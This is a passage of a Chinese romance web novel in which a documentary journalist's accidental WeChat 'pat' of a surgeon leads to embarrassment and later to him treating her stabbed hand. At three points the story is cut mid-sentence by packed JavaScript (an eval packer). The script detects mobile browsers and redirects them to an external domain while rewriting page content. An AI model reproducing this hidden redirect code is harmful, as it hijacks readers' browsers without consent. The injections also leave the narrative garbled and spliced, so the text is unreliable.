“走了?一大早的他急着干嘛去?”怕是医院的事儿,程厉职业病作怪,赶紧拿出手机看是不是有新消息进来,自言自语道,“别是医院有事儿吧?” 沈明承坐在程厉对面,朝窗外瞥了一眼,说:“应该不是医院的事儿。” 程厉一看没有新消息进来,这才放下心。他把手机揣回口袋,朝沈明承挑挑眉,问他:“你怎么知道不是医院的事儿?” “医院有事儿他不从这边走,”沈明承朝西边撇了撇头,“跑那么远作甚?” 程厉顺着沈明承的目光往后一看,透过身后的玻璃窗,一眼就捕捉到了正朝天桥狂奔的陆谨闻。 从“早点间”到对面的京溪医院,有两座天桥可以走。一座是连接地铁两站口的天桥,还有一条就是露天的过街天桥。 两座天桥距离不远,相隔不过几十米,但“早点间”距离西边的地铁站天桥更近一些,也就是说,如果医院有急事,陆谨闻一定会采取就近路线。 但他没有,而是跑向了距离较远的过街天桥。 两个人正纳闷着呢,就听到赵惊蛰站在旁边,说了句:“我也觉得不是医院的事儿。” “嗯?”程厉和沈明承纷纷抬眸。 “来。” “展开点说。” 两颗八卦的心,熊熊燃烧着。 “刚才我跟我爸说话的时候,我用余光看到陆师哥一直低着头,好像在看微信,”赵惊蛰非常大方地在他俩心头添了一把火,“就一边看还一边笑的那种,然后过了会儿,他就随便找了个理由跑出去了。” 听到微信两个字,程厉瞬间抬头,意味深长地和沈明承对视了一眼。 下一秒,两个人便齐刷刷地从座位上站了起来,动作整齐划一得像是训练有素的兵。 赵惊蛰被这动静吓得一激灵。 “我们吃好了,放心,早餐一定给你送到,走了,赵师妹,”说着,程厉和沈明承前后脚地开始往外跑,临走前还不忘大喊一声,“走了啊,赵叔。” 出了大门,两个人遵循着陆谨闻的路线,极为默契地迈上了距离“早点间”较远的过街天桥。 “欸,等一下——”跑到一半,程厉突然拽住沈明承,示意他往天桥那边看,“快看,那人是不是陆谨闻?” 闻言,沈明承顺着他的视线望过去。 天桥那一端,陆谨闻正沿着台阶,一步步地往下走。阳光在他周身衍了一抹金色,他一身白衣黑裤,行走在纷扬的晨风里,整个人清瘦高挑,神清骨秀。 “他怎么才走到这儿?”沈明承问。 按照他那个大长腿和走路速度,几分钟过去了,不至于连个天桥都没走完。 程厉也纳闷着呢,然后就看到下楼梯下到一半的陆谨闻,突然停住了脚步,目光定定地朝对面的地铁站口望了一眼。 片刻后,似乎是没找到想要找的人,于是他收回目光,转过身重新迈上了台阶。 上到天桥上之后,又开始下楼梯,把刚才的动作重复了一遍。 “他在干什么?”沈明承疑惑地看着陆谨闻这一通操作,“晒日光浴?还是拍偶像剧?” 程厉轻呵一声:“鬼知道。” 时间就这么过去,程厉和沈明承两座“望闻石”,站在太阳底下,等到后背都渗出了汗,还没等到陆谨闻要去见的那个人。 “还以为能看到现场直播呢,”程厉极为遗憾地叹了口气,“结果,线都没连上。” “我一定是有病,我坐在空调屋好好吃饭不好么,”沈明承跟他格外感同身受,“大热天的,等这么久,连个女主角的影儿都没见着,我真是服了!” - 此时此刻,他们翘首以待的女主角,正在地铁站,等着别的男人。 林洛希发现自己出错口之后,便原路返回,重新上了天桥。她是在刚走到地铁站的时候,接到了姜铮的电话。 彼时的姜铮正挤在一号线的早高峰里,四肢动弹不得,内心生无可恋。 众所周知,京溪的早高峰那叫一个吓人。地铁里的人,一个挨一个全部卡得死死的,你脚不沾地都不会倒。至于手机什么的,你必须要提前拿出来,你要是进去之前没拿出来,基本上也没什么机会拿出来了。 但此刻形势所迫,姜铮不得不迎难而上。他费了老大劲儿终于把手机从口袋拿到了耳边,拨通了林洛希的电话。 “洛希,你到医院了没?” 林洛希还以为临时有什么突发情况,步伐骤然加快,边跑边说:“我刚下地铁,马上到。” “等等等等等等一下!”姜铮赶紧叫住她,“你先别出站。” 林洛希停住脚步:“怎么了?” “那什么......”姜铮轻咳一声,有些不好意思,“我换乘的时候,鞋被挤掉了。” 林洛希:“?” “我刚叫了跑腿,让他给我送了双鞋,地址写的是地铁站,你能先帮我收一下吗?” “可以。”林洛希毫不犹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“其实昨天就说要拉你来着,我给忘了,”韩雨一边打开微信一边说,“这是他们医院内部的群,人比较全。我先把你拉进来,至于采访的事,等咱俩商量过,把确切的提纲制定好之后,再发到群里,和他们约时间。这样比较正式,效率也比较高,可以吗?” 林洛希当然没意见:“可以。” “好了,把你拉进去了,”操作完之后,韩雨把手机揣进口袋,“那我先上去了,等中午有空的时候我们再聊聊采访的事情。” 林洛希朝她点点头:“嗯,好。” 韩雨走后,姜铮的那趟地铁还没有到达。 林洛希想着等也是等,还不如找点儿自己能做的事儿,于是就顺手打开了微信,上方的新消息提示着她刚被韩雨邀请进了新的群聊。 群名非常官方,一看就是个特别正经的群。 林洛希点开右上角的三个点,开始浏览群成员的信息。之前,因为工作原因,她已经加了不少医生的微信,所以看到了好多个熟悉的头像,当然,也看到了一些摄制组的同事。 她滑动着手指,一点点地往下拉,顺带在心里做着大致的采访规划。 直到看到一个头像,她手指似被人抓住一般,猛地一顿。 那是一个动漫人物。画里的他,穿着一件棕色的挡风夹克,站在将明的夜色里,正微笑着朝上方挥手。带着少年人特有的蓬勃朝气,黑发利落,眉眼温柔又明亮。 林洛希只一眼就认出,这是天泽圣司。 是《侧耳倾听》的天泽圣司。 也是—— 月岛雯的天泽圣司。 几乎是瞬间,她下意识地去寻头像下面的名字。 目光微移的那一刻,心脏好像也跟着微悬腾空。 那个头像下面,印着的,是他的名字—— 陆谨闻。 8. 【08】 看到他名字的一瞬间,林洛希感觉自己就像是被一个巨大的惊喜砸中,胸腔似有旌旗掠阵,风生起无边雀跃。 又恰逢此刻地铁进站,带来轰然声响。 这声响穿过阳光,穿过晨风,穿过人海,与她达到共振。 林洛希站在熙来攘往的人群里,像是被人按下了暂停键,沉默静美得,仿佛与周遭喧闹自成结界。 她眉眼微敛着,如晨间森林里狩猎的小鹿,目光极为专注地盯着自己意外发现的礼物。 这个头像,对她来说,就像是礼物外系着的蝴蝶结,典雅精致,分外扎眼,似有神奇的引力,将她的手指一寸寸地拢紧。 让她只想拆开,窥其全貌。 于是,她微挪手掌,指腹点上了他的头像。 此时地铁已经进站停稳,滴滴两声后,鱼贯的人群按照顺序从车门依次走出,然后根据各自的目的地,开始做无规则运动。 因此,纵然站得很靠边,但林洛希还是不可避免地,被某个匆忙赶路的人撞了下。突如其来的撞击,让她胳膊肘一抖,手机差点从手中掉落,幸好她眼疾手快,迅速抓住了手机。 “不好意思啊,”那个撞到她的人一边跑远一边朝她道歉,“我赶时间,没注意。” “没关系。” 大城市一向讲究快节奏,不一会儿功夫,地铁门合上,人群也很快地疏散,林洛希低头,再次看向手机。 只不过,这次,她看着这个熟悉的界面,突然后知后觉地意识到,刚才的某个瞬间,她好像看到屏幕上晃过了一句话。 但这会儿一看,屏幕一切正常,还停留在她刚才浏览的群成员界面,左上角也没有任何新消息的提示。 她觉得自己可能是眼花了,就没在意,抛开刚才发生的这则插曲,再次点开了刚才因为手滑没有点开的头像。 果不其然,能看到的信息只有微信号和地区,他的朋友圈并不对非好友开放。 探究之路被迫戛然,林洛希也没有太失落,正巧这时候姜铮给她发消息,说他马上就到了。 林洛希看到,便想着退出群聊界面,跟姜铮回一句好的。 然后,她的表情,就是在按下返回键的那一刹那,翻了天,覆了地。 她刚加入的群聊里,最上端,正中央,孤零零、又明晃晃地出现了一句话: 【我拍了拍“陆谨闻”说“我对你很感兴趣”】 看到“陆谨闻”后面那一行字,林洛希还以为自己又眼花了,狠狠眨了一下眼。 然后,睁开眼,低头一看屏幕。 【我拍了拍“陆谨闻”说“我对你很感兴趣”】 林洛希:??? 这都什么鬼啊!!! 我明明只是点开了一下他的头像!!! 别的什么都没干啊!!! 为什么会出现这样一句话!!! 林洛希感觉自己的世界都要崩塌了...... 地铁在她崩塌的世界中,如约到站。 “洛希!”下了地铁,姜铮单脚蹦到林洛希面前,从她手中接过那个装鞋的袋子,跟她道着谢,“麻烦你还跑下来一趟,你吃早饭了没,没吃的话我请你。” 此时此刻,林洛希满脑子都是那句“我拍了拍陆谨闻说我对你很感兴趣”,连地铁到站的动静都没注意到,更别说姜铮跟她说的话了。 姜铮动作迅速地换上鞋子,正准备跟林洛希吐槽刚才的换乘之路有多变态,一抬眼,却见她就那么直愣愣地站在那儿,一脸被雷劈了的表情。 他伸出手在她面前晃了晃:“嘿!” 林洛希这才回过神来,茫然道:“啊?” “你想什么呢?”姜铮被她这模样逗笑,“一副魂不守舍的样子,不知道的,还以为你要斩首示众呢。” 林洛希:“......” 目前这场面,也不亚于,斩首示众了。 她定了定神,想起刚才在群里也看到了姜铮的头像,但看他现在这个状态,明显是什么都没看到。 那会不会,有另一种可能? 也就是说,那句话,只有她自己一个人能看见。 想到这儿,她问了句:“铮哥,我能看看你的微信吗?” 姜铮很爽快:“这有什么不能的,给!” 林洛希接过,道了声谢。 结果,不看还好,一看更绝望。 姜铮,身为第三视角,他的群聊里,显示的那句话,不是第一人称,直接就是姓名: 【林洛希拍了拍“陆谨闻”说“我对你很感兴趣”】 林洛希:“............” 注意到她脸色不太好看,姜铮凑过脸,满眼疑惑地看着自己的手机屏幕,跟读道:“林洛希拍了拍陆谨闻说......” 林洛希:“............” 什么叫斩首示众? 这就是。 所以,趁姜铮还没读完,她便果断地,把手机揣进了包里。 “......”姜铮很无语,“洛希,你拿的,是我的手机。” 林洛希:“......” “铮哥,我问你个问题啊,”林洛希不得不把手机重新拿出来,“我就点了下某个人的头像,为什么会出现那句话啊?” “哦,你问这个啊,”姜铮解释道,“这是微信新增的功能,你要是连击两次那个人的头像,就会显示你拍了拍他。” 林洛希:“?” 这都什么魔鬼功能? 微信一天天的能不能干点儿阳间的事儿! 等等,要连击两次头像才会显示拍一拍? 不过,她什么时候连击两次了? 然后,她转念一想: 哦,对了,可能刚才被人一碰,手滑连击了两次。 ...... 林洛希一脸生无可恋,不死心地追问道:“那后面那句话是系统自动生成的吗?” 姜铮一下子没反应过来,“什么?” 下一刻,便立刻明白了她刚才那一脸被雷劈了的表情是怎么回事,于是,好心宽慰道:“那是自己设置的。” 林洛希:“?” “我没设置过啊。” “是对方他自己设置的,欸,这个陆谨闻是谁啊,我怎么没印象。” “......就昨天给孟航做手术的那个医生。” “陆医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574892|171517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生?哦!我想起来了!对了,我忘记告诉你一件事,昨天......” “铮哥。” “嗯?” “怎么办啊,”林洛希长叹一口气,“我感觉我的脸都被丢尽了。” “这有什么的,我刚不是跟你说了么,”姜铮顿了下,“那句话是对方设置的啊,又不是你。” 说到这儿,姜铮突然想起来:“欸,洛希,这个拍一拍,好像两分钟之内可以撤回的,你试试。” 听到这句话,林洛希眼睛瞬间瞪得老大:“这么重要的信息你怎么不早说!” “你这可冤枉我了啊,”姜铮看她发脾气的可爱模样,忍不住笑,“你也没问我啊。” 然后,姜铮就看到林洛希—— 一顿操作猛如虎,拿错手机......二百五。 看着这被缘分冲昏头的傻姑娘,姜铮感觉自己刚才鞋被挤掉的郁闷心情,在瞬间烟消云散:“这是我的手机,你撤回得用你自己的手机。” 林洛希:“......哦。” 三下五除二地换过手机后,果然,不负众望地,时间早已超过两分钟这个限度。 撤回无望了。 林洛希:“......” 一切尘埃落定,无可挽回。 两个人坐上出站的电梯。 林洛希看着自己的微信,那个群一直没有新消息进来。她一方面觉得庆幸,说明没什么人关注这个群;但另一方面又觉得不安,因为她希望能有新消息盖过她的那句话。 思及此,她默默在心里做了一个决定: 中午一定要趁着午饭时间,赶紧把采访安排赶出来。 这样,就能轻易而举地盖过她的那句话。 好了,看客的尴尬消解了,那当事人的尴尬呢? 想到这儿,林洛希点开姜铮的头像,连击了两下。 几乎是瞬间,耳边传来一阵微信提示音,她一看姜铮的手机,上面显示着:【林洛希拍了拍我】 哦。 明白了。 如果被拍的那个对象是你,你不仅会收到语音提示,并且人称还会转换。 推此即彼,陆谨闻的手机上显示的应该是: 【林洛希拍了拍我说“我对你很感兴趣”】 林洛希:“......” 行吧。 第一次见面就盯着人家看,还笨嘴拙舌地夸人家名字好听。 第二次在背后打听人家是不是渣男,还被当场抓到。 第三次当着所有人的面...... 行吧。 也没什么尴尬的。 不过就是换个星球生活,而已。 姜铮看她一脸生无可恋的表情,担心地问了句:“你还好吗?” 林洛希苦笑:“I am fine. Thank you. And you?” 姜铮:“......” 此时此刻,正打算换个星球生活的林洛希绝不会想到,为了她才把自己头像换成“天泽圣司”的陆谨闻,正在距离她不过几十米的天桥上,顶着烈日,徘徊来又徘徊去。 只为和她来一场,唯美又自然的偶遇。 9. 【09】 长这么大,陆谨闻从没做过考前突击这种事,这是第一次。 昨天,搜索过月岛雯这个名字之后,他原本是打算去看一下《侧耳倾听》这部电影。但突如其来的工作安排,占据了他原本为看电影预留出来的时间。 但此刻,箭在弦上,由不得他犹豫。 上一次,他只是犹豫了一瞬,就让他们错过了这么多年。 所以,尽管他对这部电影的了解,依然停留在那寥寥几行的剧情简介。 但是,管它呢! 上吧! 趁着赵望和赵惊蛰聊天的间隙,陆谨闻换好头像,随便找个借口就冲了出去。跟个毛头小子似的,步履匆匆,任凭那股难以言说的期待和紧张,在体内横冲直撞。 门外有两座天桥,东西方向,相对而立。 两个选择,两种走进她目光的方式。 陆谨闻当机立断,大步跑向了与她相对的那座过街天桥。 这次,他不要默默追随她,不要和她擦肩而过,更不要只留给她一个背影。 他要让她,一抬眼就能看到自己。 他要霸占她,所有的目之所及。 单车少年,飞驰而过他的身侧,搅得空气都慌乱。 身高腿长在此刻成为十足的优势,他一路狂奔,耳边都是鼓噪不安的风。 这风鼓起他的白衬衫,灌了满袖的少年意气。 像极了青葱校园里的翩翩白衣少年,满心雀跃着,去赴意中人的约。 他会和她,越过重重人群,两两相望。 他会在她的注目里,踩着台阶一步步地朝她走近。 他们的故事,会有一个特别温柔的开头。 他会在这个温柔的开头里,顺水推舟地要到她的微信。 至于后面的情节该如何展开,他有信心,她会接手。 ——他的微信头像,就是他为她设置的切入口。 他甚至能想象出她微微愣神,好奇地问他:“欸,你也看过这部电影吗?” 切入口一开,水就开始流动了。 后面的故事,管它百转还是千回,反正总能水到渠成。 但是,当他信心十足地跑到目的地,正准备踩着台阶往下,却发现,故事里最重要的一环没有接上。 对面的天桥上,人来人往,独独寻不到他想要找的那个身影。 视线放低,一览无余的地面上,也没有。 从天桥到医院大楼,没有任何的视觉盲区。哪怕是脚底安了风火轮,她也不可能在十来秒的时间内,跑进医院的大楼。那就只剩下一个可能,她还没从地铁站出来。 于是,陆谨闻就这样,上行又下行,下行又上行。 只为伺机而动。 结果,没等来“猎物”,倒是等来了盛怀景的电话。 那边言简意赅:“在哪儿?” “医院。” “今天没给你安排手术和门诊吧。” “没有。” “那你跟神外的汪主任去趟三院,来了个棘手的病例,需要多科室会诊,我有手术,赶不过去。” “好。” 挂了电话,陆谨闻朝对面看了一眼,随后收回目光,快步走下天桥,跟汪清源联系上之后,在医院正门上了他的车。 “我靠!”沈明承看着他这一系列操作,忍不住感叹,“所以......等这么久,陆谨闻是在等汪主任?” 程厉也是服了。 本以为自己能站在八卦前沿,结果在太阳底下辛苦等待了这么久,最终还是颗粒无收,他觉得自己现在扎个头巾就能去当冲锋战士,口号都想好了:“陆谨闻!禁欲人设不倒!男德班班长人设不倒!” 沈明承:“真没劲!” 程厉:“真扫兴!” 发泄完,两个人看着逐渐远去的车,悻悻而归。 京溪医院正门没有可供掉头的十字路口,要想去三院,得往东开一段路再掉头。陆谨闻就是在车子返回医院门口的时候,无意间抬了一下眼。 命运这玩意儿,往往都带点寸劲儿。 例如此刻—— 刚才苦苦等待却不见踪影的人,就这样毫无预兆地落入了他眼眸。 陆谨闻仰头,看到她一边踩着台阶缓缓而下,一边探头看了眼身边人的手机,动作自然熟稔至极。透过车窗,他一眼认出站在她旁边的那个男人,是姜铮。 陆谨闻:“......” 哦,这么久没下来,原来是在上面等男同事呢。 哦,对了,还叫人家铮哥。 成,真成。 - 林洛希对这份注视浑然不觉,依旧沉浸在“拍了拍”的社死阴影里,难以自拔。 姜铮对浇在自己身上的醋意也浑然不觉,甚至还替某人当起了神助攻。 “洛希,我刚想跟你说件事来着。” “嗯?” “昨天晚上,你出外景之后,那个叫陆谨闻的医生,来找过你。” “找我?” “也不算是找吧,就是他过来看孟航,然后走的时候问了我一句,你怎么不在。” “......” 两人走下天桥,林洛希倏地叹了口气,很认真地说:“他应该是找我算账来了。” “算账?找你算什么账?” “就是吧,我俩之间有点瓜葛......” “瓜葛?” 林洛希没直接回答,而是将话题转了个弯:“铮哥,我问你个问题。” “问。” “我要是在私底下偷偷打听......”林洛希犹豫了瞬,才道,“你是不是渣男,你会生气吗?” 姜铮:“......” 默了片刻,他摇头,果断回答:“不会。” “不会?”林洛希不解,“为什么不会?” “因为这说明——”姜铮笑得大大咧咧,“你喜欢我啊。” “啊?” “你要不喜欢我,你管我是不是渣男。” “......”林洛希很坦诚,“那我应该也没有这个意思。” 姜铮:“......” “你傻啊,”姜铮被她逗乐,“我是说你对那个人有意思,不是说对我。” 林洛希:“......” 那应该,也不至于吧。 “所以你跟陆医生的瓜葛就是这个?”姜铮脑子转得很快,一下就理清了她话里的逻辑关系,“你在背后打听人家是不是渣男?还正巧被人家听到了?” 林洛希很无奈地应:“......嗯。” “然后你现在像个渣女一样,当着一众人的面,拍了拍人家说你对他很感兴趣?” 林洛希:“?” 什么叫幸灾乐祸? 这就是! 林洛希音调一扬,一板一眼地回怼:“我还不是为了给你送鞋!要不是给你送鞋,我就不会在早高峰碰到韩雨!我就不会被人撞到胳膊肘!我就不会手滑点到两次他的头像!” “所以——”姜铮很会抓重点,“你为什么要点人家的头像?” 林洛希忍无可忍,直呼其名:“姜铮!” 姜铮看着她,忍不住笑。笑了好一会儿,他才敛起神色,继续逗她:“别气了,说不定我还促成了一段好姻缘呢。” 林洛希神色一愣:“什么?” 姜铮想起昨晚整理拍摄素材时,摄像机无意间拍到的两人同框的画面,格外养眼。 他轻咳两声,笑得别有深意:“说真的,你俩站一块儿还挺登对的。” 林洛希就是在听到这句话的时候,目光骤然凉了下来。 沉肃道:“你别乱说。” 这话,明面上是提醒,实际上却更像是告诫,语气里暗含着一种冰冷的坚决。 姜铮也是在这个时候愣了愣神。 这次他第一次,从她的满身温柔里,窥见了少有的凌厉。 骤变的气氛,让话题自行掀了页,两人相继走进外科大楼。 似乎是察觉到自己刚才的表现有些不妥,林洛希轻拍了下姜铮的肩,笑着跟他解释:“铮哥,我刚才那么说没别的意思啊,我就是怕别人说闲话。我可听说了啊,陆医生可是这医院的香饽饽,你这么说,纯粹是给我树敌!” “成,铮哥错了,”姜铮笑着,让她先进电梯,“走了,工作去。” 林洛希笑着应他:“嗯。” 姜铮看着她的纤瘦背影,哑然失笑。 他自幼喜欢摄影,从朝大摄影系毕业后,便进入电视台工作,后加入陈不语的纪录片团队,担任跟拍摄像。 这一路见过的人和景,不说最多,却也足够丰富。 所以,他太擅长,观察一个人的眼睛。 和那双眼睛里,转瞬即逝的风景。 刚才,她解释得诚恳,笑起来时眉眼弯起,自带一种天然的娇俏。似乎是用这种方式,云淡风轻地将他的那句调侃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574893|171517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻了篇。 可她眼里的怅然若失,姜铮也看得一清二楚。 沉默片刻,他终究没多问,跟着她走进电梯,一同去往外科病房。 那里还有更多故事,等他们去揭开。 - 凤栖路发生的连环车祸受到了社会各界的广泛关注,摄制组也将目光聚焦在了这一事件上。时间紧,拍摄任务重,整个团队满前忙后,直到下午两点才得以闲下来去吃口饭。 林洛希和姜铮等一行同事刚买好饭坐下,无意间一个抬眼,就看到了也是刚打好饭的安然。 见她一个人,林洛希正准备朝她挥挥手,让她过来一起吃,不过想到她不喜欢在吃饭的时候热闹,便又收回了手。 是安然主动看到了她,喊了她一声,林洛希才摆摆手示意她过来坐。 “洛希,”还没坐下来,安然就开始打探消息,“我怎么听人说,那个叫孟航的小孩儿,今天在上面搞事儿来着?” “也不是搞事儿,他就是......”林洛希想起孟航的表现,斟酌着用词,“不太配合治疗。” “他那儿哪是不太配合治疗?”姜铮重音放在“不太”两个字上,“他那简直就是把医生当成仇人,哦,对了,把他妈也当成仇人,整个一直接放弃治疗。” “不应该啊......”安然面露几许疑惑神色,“我对这个小孩印象还挺深的,当初他妈妈陪他来医院检查,他对他妈妈可好了,检查结果出来,说是要做手术,他也很勇敢,一直在安慰他妈妈,说‘妈妈不哭,我很快就会好的’,我们还在那说,这一看就是个小暖男。这怎么突然间......” 可这个问题,直到天色渐晚,也没得到答案。 这地方悲苦太多。 公交车司机和坐在公交第一排的那名中学生,因钢筋刺入胸部,受伤最重,还未彻底脱离生命危险,仍躺在ICU里接受治疗;前面的那个货车司机,头部遭受重创,虽然抢救成功,已经脱离生命危险,但等待他的,是不敢盘算的经济损失;而酿成所有悲剧的罪魁祸首,正躺在病床上,等待着接受法律的制裁。 一个男孩的反叛,在这样浩瀚的悲苦里,显得不值一提。 林洛希却没放弃他背后的故事,认认真真地将工作总结完成,然后,又开始细化今早韩雨跟她提过的采访事宜。 确认无误后,她正准备把采访提纲发到医院群里,结果,就在准备点开微信的那一刻,她突然想起来她好像忘了一件事。 回想了下,才想起来。 ——她忘道歉了。 工作太忙,让她早已忘了今早那件尴尬事。 再加上,她今天一天都没见过陆谨闻。 那道歉的话就没找机会说出口。 她在心底默默叹了口气,也不知道这是好事还是坏事。 算了,不管是好事还是坏事,该做的工作还是得做。 她点开微信群,正准备把提纲发过去,结果,看到群消息的那一刻,她瞬间就傻了眼。 不知道是什么时候开始失控的。 总之现在的结果就是,那个群里,就跟商量好的恶作剧似的,满屏幕全是—— 【某某某拍了拍陆谨闻说“我对你很感兴趣”】 林洛希:“?” - 纸终究还是包不住火,这阵仗,终究也很难瞒得住当事人。 程厉惊觉大事不妙,提前一步来到陆谨闻家门口,主动坦白从宽:“不是,老陆,你听我解释,我当时真的是手滑才把你手机的......” “程厉,你再敢动我手机,你试试!”说完,陆谨闻啪的一声关上了门。 关上门后,他站在玄关,将聊天记录往上拉,直至看到“始作俑者”的名字,他手指一顿,目光也在瞬间定住。 然后,脸上的笑容,说漾开就漾开了。 他用目光,去纠缠屏幕上的那个名字,纠缠了好一会儿,直到屏幕自动变暗,他才一边往卧室走,一边发声明: 【本人的拍一拍后缀为程厉设置,除第一个人无知者无罪,跟风者全部反弹给程厉。】 发完,陆谨闻从衣柜里拿出件白衬衫换上,出了家门。 程厉还等在门外没走,看到他问:“你去哪儿?” 陆谨闻懒得搭理他,自顾自按下电梯的下行键,“医院。” “今儿不是放假吗?你去医院干什么?” “干什么?”陆谨闻呵笑一声,“找事去!” 10. 【10】 暮色正起锚,陆谨闻在尚未敛尽的夕阳里,搭上一辆飞驰而过的地铁。 亮堂有序的车厢,奔驰在漆黑的地下隧道里,将你走出的每一步,都明码标的。 不知从何时起,整个世界好像都在加速,人类为了跑赢时间,想方设法,不顾一切。 亦如此刻—— 陆谨闻在进行的,也是一场与时间的博弈。 只不过,这场博弈,不为别的。 只为心动。 这澎湃心绪托举着他,直至到站。 下了地铁,从A口走出,便是医院正门。 陆谨闻踩着台阶一步步往下,恍然觉得世界真的是个圆。 他在夕阳里踏上的天桥,恰好是他在朝阳里的眺望。 或许这世间,并没有不合时宜的等待。 所有阴差阳错,都是命运,尚未揭开的伏笔。 到外科大楼的那段路,绿树成荫,暮风吹过,掀起窸窣声响。 西边落日正温柔,拽着慵懒的云,天上一步景,地上万般情。 任谁都得承认,这样温柔的黄昏景色,实在是太适合散步。 可陆谨闻这脚步,就是慢不下来。 但他没想到,慢不下来的,不止是他。 还有姜铮。 陆谨闻一眼就注意到了从道路那头狂奔过来的身影。 说不上来是为什么,看到那个身影,他心里骤然一紧。 姜铮没看到陆谨闻,迈着大步,心无旁骛地朝目的地奔跑着。 最终,他在距离陆谨闻十来米的地方止住脚步,侧过身,对着停车场,大声喊了句:“陈导!” 听到叫声,正准备出外景的陈不语从车上探出头,问:“怎么了?” “林洛希她......”姜铮喘着粗气,脊背放低,双手撑着膝盖,艰难道,“受伤了。” “什么?!”几乎是瞬间,陈不语从车上跳了下来,语气急促,“严不严重?她人现在在哪儿?” “在急诊......”姜铮气还没喘匀,“身上没受伤,是手......被病人家属......拿刀刺伤了。” 听到这儿,陈不语也顾不上出外景了,快步就往急诊跑。 却不料,有个身影,比他更快。 - “林洛希呢!”一声急问,破空而出,刺破所有平静。 问诊台的护士还是第一次见陆谨闻这个样子,显然有些被吓到,吞吐道:“在......清......清创室。” 从问诊台到清创室,不过一条走廊的距离。 可就是这么一点距离,差点儿将他打败,那是一种,由未知催生的绝望。 到达目的地,他几乎是用身体撞开了门。 耳边传来巨大门响,林洛希和安然齐回头。 陆谨闻目光定在林洛希身上,从头到脚,极快地扫了她一眼。 确认她没有严重外伤后,才猛地松了一口气。 就像一根紧绷太久的弦,骤然间松弛了下来,弹力无法在瞬间归位,割裂出人的应激反应。 “我来......”话一出口,连陆谨闻自己都惊住了。 发出的嗓,像被烟熏火燎过一样,低沉沙哑至极。 这嗓音太过陌生,陌生到,他还以为这声音,不是出自他之口。 他刻意地轻咳两声,将音色复位,重新道:“安然,孙主任找你有事,这儿我来。” “哦,好,”安然放下正准备给林洛希清创的托盘,“洛希,那我先过去,让陆医生来给你清创,可以吗?” “嗯。” 她声音轻轻的,软软的。 却也是肯定的,不加犹豫的。 等安然走后,陆谨闻把门关上,快速洗好手,朝她走近。 林洛希抬眼,看着朝自己款款走来的身影,莫名地,心有一点乱。 她定神的功夫,陆谨闻已经走到她身前坐下,低头看了眼纱布上渗出的血迹,对她的伤势估计了个八.九不离十。 纵然知道这问话毫无意义,可他还是忍不住先问了句:“疼么?” 语气温柔至极。 林洛希摇摇头,轻声回:“不疼。” 话音刚落,不知为何,她心里突然翻涌起一阵想哭的冲动。 可是她清楚,这份冲动,既不是源于害怕,也不是源于疼痛。 这份想哭的冲动,或许,是源于心安。 有些人的存在,天生就带着一种信念感。 他只是站在那儿,就能让你无条件相信—— 即使外面是利剑兵戈,他也能护着你,在一片柔软中安全着陆。 陆谨闻殊不知自己已经在她心中赢得了如此赞誉,低着头,目光专注着她的伤势。 她伤在左手,为了止血暂时裹上的纱布,在此刻已经浸染上血迹,要想清创,就得先把它揭下来,这个过程,势必会撕扯到伤口,带来新的疼痛。 可是,别无他法,不处理,会引起感染。 学医多年,陆谨闻就没这么紧张过,轻柔得像是在对待一个易碎物品,每一个动作都小心至极。 可他再小心,依然做不到消除疼痛。 渗出的血就像是带了粘性,狠狠地吸附着纱布,使得每一次剥离都变得尤为艰难。剥离的瞬间,那痛感更是成倍增加,从手心瞬间传导至神经末梢。 林洛希右手抵唇,咬牙坚持着,愣是连一点声音都没发出来。 陆谨闻看她这个样子,心里不落忍,开始找话题,分散她的注意力。 “你叫什么名字?”他问。 “林......”正要回答,说到一半,林洛希忽然止住,“你不是知道吗?” “我怎么会知道?”他望过来的目光饱含深意,“你又没告诉过我。” “那你昨天早上说......” 看她停顿,陆谨闻忍不住笑,话里带着逗人的意味:“我说什么了?” “你说......我名字很好听。” “哦,你说这个啊,”他倒是回得坦诚,“长这么漂亮,名字怎么会难听。” 林洛希:“......” 见她沉默,陆谨闻依然没放弃追问:“叫什么?嗯?” 在这件事上,他似乎有一种别样的执拗。 必须要亲耳听到她的名字,才肯罢休。 她没再绕弯子,老老实实地答:“林洛希。” “林洛希,”他重复了一遍她的名字,细问道,“哪三个字?” “森林的林,洛希极限的洛希。” 陆谨闻听了,了然地点点头。 本以为关于名字的话题就要告一段落,林洛希都准备向他解释那个有关“渣男”的误会了,却听到他又问:“小名呢?” “小名?”林洛希一愣。 她还是头一回见,有人问别人名字还问小名的。 “没有小名?” “有,但一般没人问我小名。” 陆谨闻笑:“那你就别把我当一般人。” “......” 这次,看她沉默,他没执著于要个答案,“要是不方便说,也没关系。” “没有不方便。” “小名叫——”她声音很轻,“阿逢。” “阿逢?”他听得很认真,“哪个逢?相逢的逢吗?” 她轻轻嗯了一声。 关于名字的“盘问”告一段落,与此同时,陆谨闻目的达到,她手上缠着的纱布,已经被他完全揭开。 赤.裸鲜红的刀口,直接暴露在眼前,陆谨闻眉心紧蹙。 接下来,消毒又是一道关。 疼痛感比起刚才那一步,有过之而无不及。 